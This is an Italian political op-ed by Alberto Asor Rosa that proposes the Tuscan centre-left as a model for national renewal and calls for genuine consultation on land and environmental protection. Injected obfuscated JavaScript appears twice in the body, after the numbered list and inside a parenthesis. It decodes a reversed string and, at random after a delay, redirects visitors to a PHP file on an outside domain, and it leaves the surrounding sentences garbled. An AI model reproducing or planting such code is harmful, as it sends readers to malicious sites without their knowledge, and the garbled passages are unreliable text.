Un modello toscano? Costruiamolo col dialogo. Di Alberto Asor Rosa

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di Alberto Asor Rosa

E se – visto che da qualche parte o punto dobbiamo ripartire – ripartissimo dalla Toscana? Per tre motivi:

1) Perché il risultato elettorale del centro-sinistra alle ultime regionali è stato qui il migliore d’Italia (superato percentualmente forse solo da quello lucano, il cui peso specifico è però infinitamente minore);

2) Perché il centro-sinistra che qui ha vinto è quello che assomiglia di più a quello che si potrebbe desiderare che sia quello nazionale (mentre i fenomeni speculari, sulla destra e sulla sinistra, del leghismo e del grillismo, pur essendo anche qui preoccupantemente comparsi, sono per ora meno preoccupanti che altrove);

3) Perché il cambiamento al timone del governo regionale, pur nel quadro di una riaffermata continuità, apre presumibilmente le porte ad un più elevato livello di autocriticità e d’innovazione.

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2009/02/asorrosa.jpg”>asorrosaMettere al centro del processo di rilancio nazionale del centro-sinistra il modello toscano comporta però alcune condizioni. Innanzi tutto, il fatto di volerlo: l’assunzione, cioè, di un certo egemonismo politico e culturale che, a giudicare da quanto si vede anche in questi ultimi giorni, il Centro mostra difficoltà profonde a prendersi (o riprendersi, ammesso che ce l’abbia mai avuto). Se è vero che siamo di fronte ad una vera e propria crisi di un modello che è insieme culturale e politico, un contribuito a superarla potrebbe venire, invece che dalle vane chiacchiere e dalle formule vuote, dalla concreta, pratica esibizione di un modello diverso.

Su questo modello diverso, certo, bisognerebbe ragionare a lungo. Com’è a qualcuno noto, noi – Rete dei Comitati per la difesa del territorio – abbiamo avuto una posizione molto critica nei confronti delle scelte assunte dagli organismi amministrativi toscani, regionali e ancor più periferici, in materia di difesa dell’ambiente, del paesaggio, del territorio e, in taluni casi, della salute pubblica. Su questo abbiamo anche prodotto un molto articolato documento, presentato alle forze politiche prima della consultazione ($p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andidati/”>qui il documento, ndr).

Qualche giorno prima del voto il candidato Presidente Rossi, in un’intervista al «Manifesto», facendovi esplicito riferimento, dichiarava di guardare ad una ripresa del manifatturiero e a una drastica riduzione dell´immobiliare come ad una prospettiva strategica del proprio futuro governo. Sappiamo bene, naturalmente, che anche il manifatturiero non esclude problemi anche gravi per ciò che riguarda la tutela del territorio e dell’ambiente.

Quell’affermazione, tuttavia, sembrava aprire la strada ad un cambiamento di rotta. Se nuova linfa deve essere innestata sul vecchio modello, perché non aprire una consultazione di massa (reale e non formale, sostanziale e non apparente o, peggio, mistificata) su queste delicate tematiche, coinvolgendovi fin dall´inizio i soggetti che finora, tra mille difficoltà e resistenze, hanno preso tuttavia la parola?

Quando parlo di una leadership toscana nel campo del centro sinistra nazionale non mi riferisco affatto all’idea prodiana di partiti organizzati su base federale. Al contrario, penso al giusto maggior peso che dovrebbero assumere nelle linee di una politica nazionale di centro-sinistra le esperienze che finora, bene o male, hanno funzionato meglio e che ancor meglio, nella mia ipotesi, potrebbero funzionare in futuro, se resistessero alla tentazione, come talvolta invece pesantemente è accaduto, di rinchiudersi nel fortino dell’autoreferenzialità e della mancanza di ascolto.

Qualche passaggio strategico in questa chiave si può anche immaginare. I linguisti parlano di un’Italia mediana riferendosi a quel gruppo di parlate italiane che stanno al centro o, se volete, al cuore della Nazione: vedi un po’, sono la Toscana, l’Umbria e le Marche, nucleo di un’Italia civile che forse potrebbe conquistarsi una sua rinnovata identità nettamente distinguendosi dalla fosca Padania o dallo sfasciume meridionale.

Quanto alla Toscana – per concludere un po’ enfaticamente – chi potrebbe negare che l’Italia sia nata qui appena qualche secolo fa? Forse di questa primogenitura bisognerebbe fare, politicamente e culturalmente, un uso più consapevole, libero e spregiudicato, confortandola al tempo stesso (conditio sine qua non) con gli esiti di un’esperienza intenzionata non solo a perpetuare se stessa (impresa, come si vede, disperata e destinata sicuramente al fallimento).

Fonte Repubblica

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